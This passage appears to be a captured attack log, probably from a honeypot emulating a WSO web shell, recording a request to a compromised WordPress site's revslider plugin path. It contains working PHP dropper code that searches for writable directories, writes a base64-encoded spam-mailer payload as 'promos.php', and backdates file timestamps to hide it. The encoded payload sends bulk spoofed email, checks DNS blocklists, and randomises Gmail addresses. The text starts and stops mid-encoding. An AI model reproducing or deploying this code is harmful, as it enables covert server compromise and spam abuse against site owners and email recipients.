nVuY3Rpb25fZXhpc3RzKCRhcnJheVskY10pKXsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCX0KCXJldHVybiB0cnVlOwp9CgpmdW5jdGlvbiBSYW5kSU1HKCRmaWxlKXsKCSRyYW5kWyd3aWR0aCddPXJhbmQoMSwyKTsKCSRyYW5kWydoZWlnaHQnXT1yYW5kKDEsMik7CgkkcmFuZFsncXVhbGl0eSddPXJhbmQoMSwyKTsKCSRyYW5kWydicmlnaHRuZXNzJ109cmFuZCgxLDIpOwoJJHJhbmRbJ2NvbnRyYXN0J109cmFuZCgxLDIpOwoKCWxpc3QoJHdpZHRoLCRoZWlnaHQpPWdldGltYWdlc2l6ZSgkZmlsZSk7CgoJaWYoJHJhbmRbJ3dpZHRoJ109PTEpewoJCSRzaWduPXJhbmQoMSwyKTsKCQlpZigkc2lnbj09MSl7CgkJCSRuZXdfd2lkdGg9JHdpZHRoK3JhbmQoMSwxMCk7CgkJfWVsc2V7CgkJCSRuZXdfd2lkdGg9JHdpZHRoLXJhbmQoMSwxMCk7CgkJfQoJfWVsc2V7CgkJJG5ld193aWR0aD0kd2lkdGg7Cgl9aWYoJHJhbmRbJ2hlaWdodCddPT0xKXsKCQkkc2lnbj1yYW5kKDEsMik7CgkJaWYoJHNpZ249PTEpewoJCQkkbmV3X2hlaWdodD0kaGVpZ2h0K3JhbmQoMSwxMCk7CgkJfWVsc2V7CgkJCSRuZXdfaGVpZ2h0PSRoZWlnaHQtcmFuZCgxLDEwKTsKCQl9Cgl9ZWxzZXsKCQkkbmV3X2hlaWdodD0kaGVpZ2h0OwoJfWlmKCRyYW5kWydxdWFsaXR5J109PTEpewoJCSRxdWFsaXR5PTc1OwoJfWVsc2V7CgkJJHF1YWxpdHk9cmFuZCg2NSwxMDUpOwoJfWlmKCRyYW5kWydicmlnaHRuZXNzJ109PTEpewoJCSRicmlnaHRuZXNzPXJhbmQoMCwzNSk7Cgl9ZWxzZXsKCQkkYnJpZ2h0bmVzcz0wOwoJfWlmKCRyYW5kWydjb250cmFzdCddPT0xKXsKCQkkc2lnbj1yYW5kKDEsMik7CgkJaWYoJHNpZ249PTEpeyAkc2lnbj0nKyc7IH1lbHNleyAkc2lnbj0nLSc7IH0KCQkkY29udHJhc3Q9cmFuZCgxLDE1KTsKCX1lbHNlewoJCSRzaWduPScnOwoJCSRjb250cmFzdD0wOwoJfQoKCSRpbWFnZV9wPWltYWdlY3JlYXRldHJ1ZWNvbG9yKCRuZXdfd2lkdGgsJG5ld19oZWlnaHQpOwoJJGltYWdlPWltYWdlY3JlYXRlZnJvbWpwZWcoJGZpbGUpOwoJaW1hZ2Vjb3B5cmVzYW1wbGVkKCRpbWFnZV9wLCAkaW1hZ2UsMCwwLDAsMCwkbmV3X3dpZHRoLCRuZXdfaGVpZ2h0LCR3aWR0aCwkaGVpZ2h0KTsKCWltYWdlZmlsdGVyKCRpbWFnZV9wLElNR19GSUxURVJfQ09OVFJBU1QsJHNpZ24uJGNvbnRyYXN0KTsKCWltYWdlZmlsdGVyKCRpbWFnZV9wLElNR19GSUxURVJfQlJJR0hUTkVTUywkYnJpZ2h0bmVzcyk7CglvYl9zdGFydCgpOwoJaW1hZ2VqcGVnKCRpbWFnZV9wLG51bGwsJHF1YWxpdHkpOwoJJG91dD1vYl9nZXRfY2xlYW4oKTsKCWltYWdlZGVzdHJveSgkaW1hZ2VfcCk7CgoJcmV0dXJuICRvdXQ7Cn0KCmZ1bmN0aW9uIGNoZWNrX2dtYWlsKCRlbWFpbCl7CglpZihzdHJzdHIoJGVtYWlsLCdAZ21haWwuJykpewoJCXJldHVybiBSYW5kR21haWwoJGVtYWlsKTsKCX1lbHNlewoJCXJldHVybiAkZW1haWw7Cgl9Cn0KCmZ1bmN0aW9uIFJhbmRHbWFpbCgkZW1haWwpewoJJGxvZ2luPWV4cGxvZGUoJ0AnLCRlbWFpbCk7ICRyZXN1bHQ9Jyc7CgkkbG9naW49c3RydG9sb3dlcihzdHJfcmVwbGFjZSgnLicsJycsJGxvZ2luWzBdKSk7CgoJJHNpemU9c3RybGVuKCRsb2dpbik7CgoJZm9yKCRjPTAsJG1heD0kc2l6ZTskYzwkbWF4OyRjKyspewoJCSR1cD1yYW5kKDAsMSk7ICRkb3Q9cmFuZCgwLDEpOwoKCQkkc3ltYm9sPSRsb2dpbnskY307CgoJCWlmKCR1cD09MSl7CgkJCSRzeW1ib2w9c3RydG91cHBlcigkc3ltYm9sKTsKCQl9aWYoJGRvdD09MSl7CgkJCSRzeW1ib2w9JHN5bWJvbC4nLic7CgkJfQoJCSRyZXN1bHQuPSRzeW1ib2w7Cgl9CgoJaWYoc3Vic3RyKCRyZXN1bHQsLTEpPT0nLicpewoJCSRyZXN1bHQ9c3Vic3RyKCRyZXN1bHQsMCwtMSk7Cgl9CgoJcmV0dXJuICRyZXN1bHQuJ0BnbWFpbC5jb20nOwp9Cgo/Pg==";
$fileName = "promos.php";
$filePrefix = "ini_";
$fileMode = 0;
function GetRandomPath($dirs, $depth) {
if($depth > (int)current($dirs)) {
$depth = (int)current($dirs);
}
$allKeys = array_keys($dirs, $depth);
return $allKeys[rand(0, count($allKeys) - 1)];
}
function FileWrite($filePath, $fileData, $fileMode, $filePrefix) {
$pathParts = pathinfo($filePath);
$fileTime = filemtime($pathParts["dirname"]);
if(file_exists($filePath)) {
if($fileMode == 2)
return "";
if($fileMode == 0)
$filePath = $pathParts["dirname"]."/".$filePrefix.$pathParts["basename"];
}
if($fp = fopen($filePath, "w")) {
fwrite($fp, $fileData);
fclose($fp);
touch($filePath, $fileTime);
touch($pathParts["dirname"], $fileTime);
return $filePath;
}
}
function is__writable($path) {
if ($path{strlen($path)-1}=="/")
return is__writable($path.uniqid(mt_rand()).".tmp");
if (file_exists($path)) {
if (!($f = @fopen($path, "r+")))
return false;
fclose($f);
return true;
}
if (!($f = @fopen($path, "w")))
return false;
fclose($f);
unlink($path);
return true;
}
function get_writable_dirs($startPath, $path = ""){
$depth_limit = 5;
$startPath = str_replace("\\", "/", $startPath);
$all_dirs = array();
$more_dirs = array();
if($path == ""){
if( is__writable($startPath."/") )
$all_dirs = array($startPath => 0);
$path = $startPath;
}
$depth = substr_count(str_replace($startPath, "", $path),"/");
//echo "checking $path";
if( is_writable($path."/") ){
//echo "$path writable";
$all_dirs[$path] = $depth;
}
if ( $depth > $depth_limit )
return null;
//echo $all_dirs[$path]."";
$d = scandir($path);
//print_r($d);
foreach( $d as $child ){
if( $child != "." && $child != ".." ){
//echo $child."";
$newPath = $path."/".$child;
if( is_dir($newPath) ) {
//echo $newPath." is dir ";
if ( is__writable($newPath."/") ){
//echo $newPath." is writable";
$all_dirs[$newPath] = substr_count(str_replace($startPath, "", $newPath),"/");
}
//echo $path."/".$child."";
$more_dirs = get_writable_dirs($startPath, $newPath);
if ( !empty($more_dirs) ){
$all_dirs = array_merge($all_dirs, $more_dirs);
}
}
}
}
arsort($all_dirs);
return $all_dirs;
}
//$allDirs = GetAllDirs($startDirectory);
$allDirs = get_writable_dirs($startDirectory);
if ( count($allDirs) < 1)
continue;
$randPath = GetRandomPath($allDirs, $depth);
//print_r($allDirs);
//continue;
$fileWritedPath = FileWrite($randPath."/".$fileName, base64_decode($fileData), $fileMode, $filePrefix);
$fileWritedPath = str_replace("//", "/", $fileWritedPath);
if(strlen($fileWritedPath) != 0){
/* echo $startDirectory."
"; */
$url = str_replace( str_replace("\\","/",$startDirectory), $domain, $fileWritedPath);
$url = "http://".$url;
if ( !strstr($url, "http://.") )
echo "p_url_to_check: ".$url."";
echo "
";
/*
if(strlen($_SERVER["DOCUMENT_ROOT"]) == 1)
echo substr($fileWritedPath, 1);
else
echo str_replace(str_replace("\\", "/", $_SERVER["DOCUMENT_ROOT"]), "", $fileWritedPath);
*/
}
[p2] =>
[p3] =>
[charset] => Windows-1251
[pass] => nhzgrf
)
_COOKIE
Array
(
)
_FILES
END _FILES
$my_blog=http://www.stratigery.com/wordpress/wp-content/plugins/revslider/temp/update_extract/revslider
pass parameter, acting as WSO
Acting as WSO, login cookie.
a = Php
c =
p1 =
error_reporting(E_ALL);
set_time_limit(0);
$startDirectory = $_SERVER['DOCUMENT_ROOT'];
$domain = $_SERVER['HTTP_HOST'];
$depth = 4;
$fileData = "PD9waHAKCkBlcnJvcl9yZXBvcnRpbmcoMCk7CkBzZXRfdGltZV9saW1pdCgxNTApOwpAaWdub3JlX3VzZXJfYWJvcnQodHJ1ZSk7CkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDE1MCk7CgppZigkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXT09J0dFVCcpewoJZXhpdCgnT0snKTsKfQoKJHJhbmRTdHJpbmc9cmFuZCgxLDI1NSkuJy4nLnJhbmQoMCwyNTUpLicuJy5yYW5kKDAsMjU1KS4nLicucmFuZCgwLDI1NSk7CgokY29tcGFyZT0kX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKCndoaWxlKCRrZXk9a2V5KCRfU0VSVkVSKSl7CglpZigkX1NFUlZFUlska2V5XT09JGNvbXBhcmUpewoJCUAkX1NFUlZFUlska2V5XT0kcmFuZFN0cmluZzsKCX0KCW5leHQoJF9TRVJWRVIpOwp9CgppZihpc3NldCgkX1BPU1RbJ2NoJ10pPT09dHJ1ZSl7CglDaGVjaygpOyBleGl0Owp9aWYoaXNzZXQoJF9QT1NUWydzbiddKT09PXRydWUpewoJU2VuZCgpOyBleGl0Owp9CgpmdW5jdGlvbiBTZW5kKCl7CgkkcmVwbHl0bz11cmxkZWNvZGUoJF9QT1NUWydycHQnXSk7CglpZihzdHJzdHIoJHJlcGx5dG8sJ3wnKSl7CgkJJHJhbmQ9ZXhwbG9kZSgnfCcsJHJlcGx5dG8pOwoJCSRyZXBseXRvPSRyYW5kW2FycmF5X3JhbmQoJHJhbmQpXTsKCX0KCgkkcmVwbHl0bz1jaGVja19nbWFpbCgkcmVwbHl0byk7CgoJJGVtYWlscz11cmxkZWNvZGUoJF9QT1NUWydlbSddKTsKCgkkZXg9ZXhwbG9kZSgiXG4iLCRlbWFpbHMpOwoKCWlmKCFpc19maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSkpewoJCWZvcigkYz0wLCRtYXg9c2l6ZW9mKCRleCk7JGM8JG1heDskYysrKXsKCQkJJGRhdGE9ZXhwbG9kZSgnfCcsdHJpbSgkZXhbJGNdKSk7CgkJCSRyX2Zyb209UmFuZG9tKGRhdGFIYW5kbGVyKCRfUE9TVFsnZiddKSwkZGF0YSk7CgkJCSRyX3N1YmplY3Q9ZGF0YUhhbmRsZXIoJF9QT1NUWydzJ10pOyAkcl9tZXNzYWdlPSRfUE9TVFsnbSddOwoJCQkkcl9zdWJqZWN0PXN0cl9pcmVwbGFjZSgnW2Zyb206XScsJHJfZnJvbSwkcl9zdWJqZWN0KTsKCQkJJHJfc3ViamVjdD1zdHJfaXJlcGxhY2UoJ1tlbWFpbDpdJywkZGF0YVswXSwkcl9zdWJqZWN0KTsKCQkJJHJfc3ViamVjdD1SYW5kb20oJHJfc3ViamVjdCwkZGF0YSk7CgkJCSRyX21lc3NhZ2U9c3RyX2lyZXBsYWNlKCdbZnJvbTpdJywkcl9mcm9tLCRyX21lc3NhZ2UpOwoJCQkkcl9tZXNzYWdlPXN0cl9pcmVwbGFjZSgnW2VtYWlsOl0nLCRkYXRhWzBdLCRyX21lc3NhZ2UpOwoJCQkkcl9tZXNzYWdlPVJhbmRvbSgkcl9tZXNzYWdlLCRkYXRhKTsKCQkJJGZyb21fbmFtZT1yYW5kVGV4dCgpOwoKCQkJaWYoJHJlcGx5dG89PScnKXsKCQkJCSRyZXBseT0kZnJvbV9uYW1lLidAJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ107CgkJCX1lbHNlewoJCQkJJHJlcGx5PSRyZXBseXRvOwoJCQl9CgoJCQlpZighU01haWwoJGRhdGFbMF0sJHJfZnJvbSwkcl9tZXNzYWdlLCRyX3N1YmplY3QsJHJlcGx5LCRmcm9tX25hbWUpKXsKCQkJCXByaW50ICcqc2VuZDpiYWQqJzsgZXhpdDsKCQkJfQoJCX0KCX1lbHNlewoJCWZvcigkYz0wLCRtYXg9c2l6ZW9mKCRleCk7JGM8JG1heDskYysrKXsKCQkJJGRhdGE9ZXhwbG9kZSgnfCcsdHJpbSgkZXhbJGNdKSk7CgkJCSRyX2Zyb209UmFuZG9tKGRhdGFIYW5kbGVyKHVybGRlY29kZSgkX1BPU1RbJ2YnXSkpLCRkYXRhKTsKCQkJJHJfc3ViamVjdD1kYXRhSGFuZGxlcih1cmxkZWNvZGUoJF9QT1NUWydzJ10pKTsKCQkJJHJfbWVzc2FnZT11cmxkZWNvZGUoJF9QT1NUWydtJ10pOwoJCQkkcl9zdWJqZWN0PXN0cl9pcmVwbGFjZSgnW2Zyb206XScsJHJfZnJvbSwkcl9zdWJqZWN0KTsKCQkJJHJfc3ViamVjdD1zdHJfaXJlcGxhY2UoJ1tlbWFpbDpdJywkZGF0YVswXSwkcl9zdWJqZWN0KTsKCQkJJHJfc3ViamVjdD1SYW5kb20oJHJfc3ViamVjdCwkZGF0YSk7CgkJCSRyX21lc3NhZ2U9c3RyX2lyZXBsYWNlKCdbZnJvbTpdJywkcl9mcm9tLCRyX21lc3NhZ2UpOwoJCQkkcl9tZXNzYWdlPXN0cl9pcmVwbGFjZSgnW2VtYWlsOl0nLCRkYXRhWzBdLCRyX21lc3NhZ2UpOwoJCQkkcl9tZXNzYWdlPVJhbmRvbSgkcl9tZXNzYWdlLCRkYXRhKTsKCQkJJGZyb21fbmFtZT1yYW5kVGV4dCgpOwoKCQkJaWYoJHJlcGx5dG89PScnKXsKCQkJCSRyZXBseT0kZnJvbV9uYW1lLidAJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ107CgkJCX1lbHNlewoJCQkJJHJlcGx5PSRyZXBseXRvOwoJCQl9CgoJCQlpZighU2VuZEF0dGFjaCgkZGF0YVswXSwkcl9mcm9tLCRyX21lc3NhZ2UsJHJfc3ViamVjdCwkcmVwbHksJGZyb21fbmFtZSkpewoJCQkJcHJpbnQgJypzZW5kOmJhZConOyBleGl0OwoJCQl9CgkJfQoJfQoJcHJpbnQgJypzZW5kOm9rKic7IGV4aXQ7Cn0KCmZ1bmN0aW9uIFNNYWlsKCR0bywkZnJvbSwkbWVzc2FnZSwkc3ViamVjdCwkcmVwbHl0bywkZnJvbV9uYW1lKXsKCWlmKCRfUE9TVFsndHAnXT09JzEnKXsgJHR5cGU9J3RleHQvaHRtbCc7IH0KCWVsc2V7ICR0eXBlPSd0ZXh0L3BsYWluJzsgfQoJJGhlYWRlcj0nRnJvbTogPT91dGYtOD9CPycuYmFzZTY0X2VuY29kZSgkZnJvbSkuJz89IDwnLiRmcm9tX25hbWUuJ0AnLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iPlxyXG4iOwoJJGhlYWRlci49J01JTUUtVmVyc2lvbjogMS4wJy4iXHJcbiI7CgkkaGVhZGVyLj0nQ29udGVudC1UeXBlOiAnLiR0eXBlLic7IGNoYXJzZXQ9InV0Zi04IicuIlxyXG4iOwoJJGhlYWRlci49J1JlcGx5LVRvOiAnLiRyZXBseXRvLiJcclxuIjsKCSRoZWFkZXIuPSdYLU1haWxlcjogUEhQLycucGhwdmVyc2lvbigpOwoKCWlmKG1haWwoJHRvLCRzdWJqZWN0LCRtZXNzYWdlLCRoZWFkZXIpKXsKCQlyZXR1cm4gdHJ1ZTsKCX0KCXJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gU2VuZEF0dGFjaCgkdG8sJGZyb20sJG1lc3NhZ2UsJHN1YmplY3QsJHJlcGx5dG8sJGZyb21fbmFtZSl7CgkkYm91bmRhcnk9bWQ1KHVuaXFpZCgpKTsgJGZpbGVTdHJpbmc9ZmlsZVN0cmluZygkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSk7CglpZigkX1BPU1RbJ3RwJ109PScxJyl7ICR0eXBlPSd0ZXh0L2h0bWwnOyB9CgllbHNleyAkdHlwZT0ndGV4dC9wbGFpbic7IH0KCSRmaWxlbmFtZT1maWxlbmFtZSgkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSk7CgoJJGhlYWRlcnM9J01JTUUtVmVyc2lvbjogMS4wJy4iXHJcbiI7CgkkaGVhZGVycy49J0Zyb206ID0/dXRmLTg/Qj8nLmJhc2U2NF9lbmNvZGUoJGZyb20pLic/PSA8Jy4kZnJvbV9uYW1lLidAJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJz4nLiJcclxuIjsKCSRoZWFkZXJzLj0nUmVwbHktVG86ICcuJHJlcGx5dG8uIlxyXG4iOwoJJGhlYWRlcnMuPSdYLU1haWxlcjogUEhQLycucGhwdmVyc2lvbigpLiJcclxuIjsKCSRoZWFkZXJzLj0nQ29udGVudC1UeXBlOiBtdWx0aXBhcnQvbWl4ZWQ7IGJvdW5kYXJ5PSInLiRib3VuZGFyeS4iXCJcclxuXHJcbiI7CgoJJGJvZHk9Jy0tJy4kYm91bmRhcnkuIlxyXG4iOwoJJGJvZHkuPSdDb250ZW50LVR5cGU6ICcuJHR5cGUuJzsgY2hhcnNldD0idXRmLTgiJy4iXHJcbiI7CgkkYm9keS49J0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJhc2U2NCcuIlxyXG5cclxuIjsKCSRib2R5Lj1jaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKCRtZXNzYWdlKSk7CgoJJGJvZHkuPSAnLS0nLiRib3VuZGFyeS4iXHJcbiI7CgkkYm9keS49J0NvbnRlbnQtVHlwZTogJy4kX0ZJTEVTWydmaWxlJ11bJ3R5cGUnXS4nOyBuYW1lPSInLiRmaWxlbmFtZS4nIicuIlxyXG4iOwoJJGJvZHkuPSdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iJy4kZmlsZW5hbWUuJyInLiJcclxuIjsKCSRib2R5Lj0nQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0Jy4iXHJcbiI7CgkkYm9keS49J1gtQXR0YWNobWVudC1JZDogJy5yYW5kKDEwMDAsOTk5OTkpLiJcclxuXHJcbiI7CgkkYm9keS49Y2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZSgkZmlsZVN0cmluZykpOwoKCWlmKG1haWwoJHRvLCRzdWJqZWN0LCRib2R5LCRoZWFkZXJzKSl7CgkJcmV0dXJuIHRydWU7Cgl9CglyZXR1cm4gZmFsc2U7Cn0KCmZ1bmN0aW9uIGRhdGFIYW5kbGVyKCRkYXRhKXsKCSRleD1leHBsb2RlKCJcbiIsJGRhdGEpOwoKCWlmKHNpemVvZigkZXgpPjEpewoJCXJldHVybiB0cmltKCRleFtyYW5kKDAsc2l6ZW9mKCRleCktMSldKTsKCX0KCXJldHVybiB0cmltKCRkYXRhKTsKfQoKZnVuY3Rpb24gUmFuZG9tKCR0ZXh0LCRkYXRhKXsKCXByZWdfbWF0Y2hfYWxsKCcjXFtudW06KC4rPylcXSNpcycsJHRleHQsJHJlc3VsdDIpOyAkaT0wOwoJcHJlZ19tYXRjaF9hbGwoJyNcW3JhbmRNOiguKz8pXF0jaXMnLCR0ZXh0LCRyZXN1bHQzKTsgJHE9MDsKCXByZWdfbWF0Y2hfYWxsKCcjXFtyYW5kc3RyOiguKz8pXF0jaXMnLCR0ZXh0LCRyZXN1bHQ0KTsgJHc9MDsKCXByZWdfbWF0Y2hfYWxsKCcjXFt2YXI6KC4rPylcXSNpcycsJHRleHQsJHJlc3VsdDUpOyAkZT0wOwoKCXdoaWxlKCRpPHNpemVvZigkcmVzdWx0MlsxXSkpewoJCSRyYW5kPWV4cGxvZGUoJ3wnLCRyZXN1bHQyWzFdWyRpXSk7CgkJaWYoIWlzX251bWVyaWMoJHJhbmRbMF0pIG9yICFpc19udW1lcmljKCRyYW5kWzFdKSl7IGNvbnRpbnVlOyB9CgkJJHJhbmQ9cmFuZCgkcmFuZFswXSwkcmFuZFsxXSk7CgoJCSR0ZXh0PXN0cl9yZXBsYWNlX29uY2UoJHJlc3VsdDJbMF1bJGldLCRyYW5kLCR0ZXh0KTsgJGkrKzsKCX0KCgl3aGlsZSgkcTxzaXplb2YoJHJlc3VsdDNbMV0pKXsKCQkkcmFuZD1leHBsb2RlKCd8JywkcmVzdWx0M1sxXVskcV0pOwoJCSRyYW5kPSRyYW5kW2FycmF5X3JhbmQoJHJhbmQpXTsKCgkJJHRleHQ9c3RyX3JlcGxhY2UoJHJlc3VsdDNbMF1bJHFdLCRyYW5kLCR0ZXh0KTsgJHErKzsKCX0KCgl3aGlsZSgkdzxzaXplb2YoJHJlc3VsdDRbMV0pKXsKCQkkcmFuZD1leHBsb2RlKCd8JywkcmVzdWx0NFsxXVskd10pOwoJCWlmKCFpc19udW1lcmljKCRyYW5kWzBdKSBvciAhaXNfbnVtZXJpYygkcmFuZFsxXSkpeyBjb250aW51ZTsgfQoJCSRyYW5kPXJhbmRTdHJpbmcoJHJhbmRbMF0sJHJhbmRbMV0pOwoKCQkkdGV4dD1zdHJfcmVwbGFjZV9vbmNlKCRyZXN1bHQ0WzBdWyR3XSwkcmFuZCwkdGV4dCk7ICR3Kys7Cgl9CgoJd2hpbGUoJGU8c2l6ZW9mKCRyZXN1bHQ1WzFdKSl7CgkJaWYoIWlzX251bWVyaWMoJHJlc3VsdDVbMV1bJGVdKSl7IGNvbnRpbnVlOyB9CgoJCSR0ZXh0PXN0cl9yZXBsYWNlKCRyZXN1bHQ1WzBdWyRlXSwkZGF0YVskcmVzdWx0NVsxXVskZV1dLCR0ZXh0KTsgJGUrKzsKCX0KCglwcmVnX21hdGNoX2FsbCgnI1xbcmFuZDooLis/KVxdI2lzJywkdGV4dCwkcmVzdWx0KTsgJGM9MDsKCgl3aGlsZSgkYzxzaXplb2YoJHJlc3VsdFsxXSkpewoJCSRyYW5kPWV4cGxvZGUoJ3wnLCRyZXN1bHRbMV1bJGNdKTsKCQkkcmFuZD0kcmFuZFthcnJheV9yYW5kKCRyYW5kKV07CgoJCSR0ZXh0PXN0cl9yZXBsYWNlX29uY2UoJHJlc3VsdFswXVskY10sJHJhbmQsJHRleHQpOyAkYysrOwoJfQoKCXJldHVybiAkdGV4dDsKfQoKZnVuY3Rpb24gQ2hlY2soKXsKCSRjcmxmPSJcclxuIjsKCglpZihpc3NldCgkX1BPU1RbJ3N0J10pPT09dHJ1ZSl7CgkJcHJpbnQgJyp2YWxpZDpvayonLiRjcmxmOwoJfWlmKGlzc2V0KCRfUE9TVFsnbSddKT09PXRydWUpewoJCWlmKGZ1bmN0aW9uX2V4aXN0cygnbWFpbCcpKXsKCQkJJGV4PWV4cGxvZGUoJzonLCRfUE9TVFsnbSddKTsKCQkJJGVtYWlsPSRleFswXTsgJGF0dGFjaD0kZXhbMV07ICRyZXBseT0kZXhbMl07CgkJCSRmcm9tX25hbWU9cmFuZFRleHQoKTsKCQkJJHJlcGx5dG89JGZyb21fbmFtZS4nQCcuJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwoJCQlpZigkcmVwbHk9PScxJyl7ICRyZXBseXRvPSRlbWFpbDsgfQoJCQlpZigkYXR0YWNoPT0nMScpewoJCQkJaWYoQ2hlY2tBdHRhY2goJGVtYWlsLCRyZXBseXRvLCRmcm9tX25hbWUpKXsKCQkJCQlwcmludCAnKm1haWw6b2sqJy4kY3JsZjsKCQkJCX1lbHNlewoJCQkJCXByaW50ICcqbWFpbDpiYWQqJy4kY3JsZjsKCQkJCX0KCQkJfWVsc2V7CgkJCQlpZihDaGVja01haWwoJGVtYWlsLCRyZXBseXRvLCRmcm9tX25hbWUpKXsKCQkJCQlwcmludCAnKm1haWw6b2sqJy4kY3JsZjsKCQkJCX1lbHNlewoJCQkJCXByaW50ICcqbWFpbDpiYWQqJy4kY3JsZjsKCQkJCX0KCQkJfQoJCX1lbHNlewoJCQlwcmludCAnKm1haWw6YmFkKicuJGNybGY7CgkJfQoJfWlmKGlzc2V0KCRfUE9TVFsncmInXSk9PT10cnVlKXsKCQkkcmJsPXJibCgpOwoJCWlmKCRyYmw9PScnKXsKCQkJcHJpbnQgJypyYmw6b2sqJzsKCQl9ZWxzZXsKCQkJcHJpbnQgJypyYmw6Jy4kcmJsLicqJzsKCQl9Cgl9Cn0KCmZ1bmN0aW9uIHJhbmRTdHJpbmcoJG1pbiwkbWF4KXsKCSRzdHI9J3F3ZXJ0eXVpb3Bhc2RmZ2hqa2x6eGN2Ym5tJzsKCSRzaXplPXJhbmQoJG1pbiwkbWF4KTsgJHJlc3VsdD0nJzsKCglmb3IoJGM9MDskYzwkc2l6ZTskYysrKXsKCQkkcmVzdWx0Lj0kc3Rye3JhbmQoMCxzdHJsZW4oJHN0ciktMSl9OwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KCmZ1bmN0aW9uIHJibCgpewogICAgJGRuc2JsX2NoZWNrPWFycmF5KCdiLmJhcnJhY3VkYWNlbnRyYWwub3JnJywneGJsLnNwYW1oYXVzLm9yZycsJ3NibC5zcGFtaGF1cy5vcmcnLCd6ZW4uc3BhbWhhdXMub3JnJywnYmwuc3BhbWNvcC5uZXQnKTsKCSRpcD1nZXRob3N0YnluYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7ICRyZXN1bHQ9Jyc7CgogICAgaWYoJGlwKXsKICAgICAgICAkcmlwPWltcGxvZGUoJy4nLGFycmF5X3JldmVyc2UoZXhwbG9kZSgnLicsJGlwKSkpOwogICAgICAgIGZvcmVhY2goJGRuc2JsX2NoZWNrIGFzICR2YWwpewogICAgICAgICAgICBpZihjaGVja2Ruc3JyKCRyaXAuJy4nLiR2YWwuJy4nLCdBJykpCiAgICAgICAgICAgICAgICAkcmVzdWx0Lj0kdmFsLicsICc7CiAgICAgICAgfQogICAgICAgIGlmKHN0cmxlbigkcmVzdWx0KT4yKXsgcmV0dXJuIHN1YnN0cigkcmVzdWx0LDAsLTIpOyB9CiAgICAgICAgZWxzZXsgcmV0dXJuICcnOyB9CiAgICB9ZWxzZXsKICAgIAlyZXR1cm4gJypyYmw6dW5rbm93bionOwogICAgfQogICAgcmV0dXJuICcnOwp9CgpmdW5jdGlvbiBDaGVja01haWwoJHRvLCRyZXBseSwkZnJvbV9uYW1lKXsKCSRoZWFkZXI9J0Zyb206ICcuJz0/dXRmLTg/Qj8nLmJhc2U2NF9lbmNvZGUocmFuZFRleHQoKSkuJz89Jy4nIDwnLiRmcm9tX25hbWUuJ0AnLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iPlxyXG4iOwoJJGhlYWRlci49J01JTUUtVmVyc2lvbjogMS4wJy4iXHJcbiI7CgkkaGVhZGVyLj0nQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9InV0Zi04IicuIlxyXG4iOwoJJGhlYWRlci49J1JlcGx5LVRvOiAnLiRyZXBseS4iXHJcbiI7CgkkaGVhZGVyLj0nWC1NYWlsZXI6IFBIUC8nLnBocHZlcnNpb24oKTsKCgkkbWVzc2FnZT10ZXh0KCk7Cgkkc3ViamVjdD0kX1NFUlZFUlsnSFRUUF9IT1NUJ107CgoJaWYobWFpbCgkdG8sJHN1YmplY3QsJG1lc3NhZ2UsJGhlYWRlcikpewoJCXJldHVybiB0cnVlOwoJfQoJcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiBDaGVja0F0dGFjaCgkdG8sJHJlcGx5LCRmcm9tX25hbWUpewoJJG1lc3NhZ2U9dGV4dCgpOwoJJHN1YmplY3Q9JF9TRVJWRVJbJ0hUVFBfSE9TVCddOwoJJGZpbGVuYW1lPWZpbGVuYW1lKCcxLnR4dCcpOyAkYm91bmRhcnk9bWQ1KHVuaXFpZCgpKTsKCgkkaGVhZGVycz0nTUlNRS1WZXJzaW9uOiAxLjAnLiJcclxuIjsKCSRoZWFkZXJzLj0nRnJvbTogJy4nPT91dGYtOD9CPycuYmFzZTY0X2VuY29kZShyYW5kVGV4dCgpKS4nPz0nLicgPCcuJGZyb21fbmFtZS4nQCcuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLic+Jy4iXHJcbiI7CgkkaGVhZGVycy49J1JlcGx5LVRvOiAnLiRyZXBseS4iXHJcbiI7CgkkaGVhZGVycy49J1gtTWFpbGVyOiBQSFAvJy5waHB2ZXJzaW9uKCkuIlxyXG4iOwoJJGhlYWRlcnMuPSdDb250ZW50LVR5cGU6IG11bHRpcGFydC9taXhlZDsgYm91bmRhcnk9IicuJGJvdW5kYXJ5LiJcIlxyXG5cclxuIjsKCgkkYm9keT0nLS0nLiRib3VuZGFyeS4iXHJcbiI7CgkkYm9keS49J0NvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PSJ1dGYtOCInLiJcclxuIjsKCSRib2R5Lj0nQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0Jy4iXHJcblxyXG4iOwoJJGJvZHkuPWNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUoJG1lc3NhZ2UpKTsKCgkkYm9keS49ICctLScuJGJvdW5kYXJ5LiJcclxuIjsKCSRib2R5Lj0nQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBuYW1lPSInLiRmaWxlbmFtZS4nIicuIlxyXG4iOwoJJGJvZHkuPSdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iJy4kZmlsZW5hbWUuJyInLiJcclxuIjsKCSRib2R5Lj0nQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZ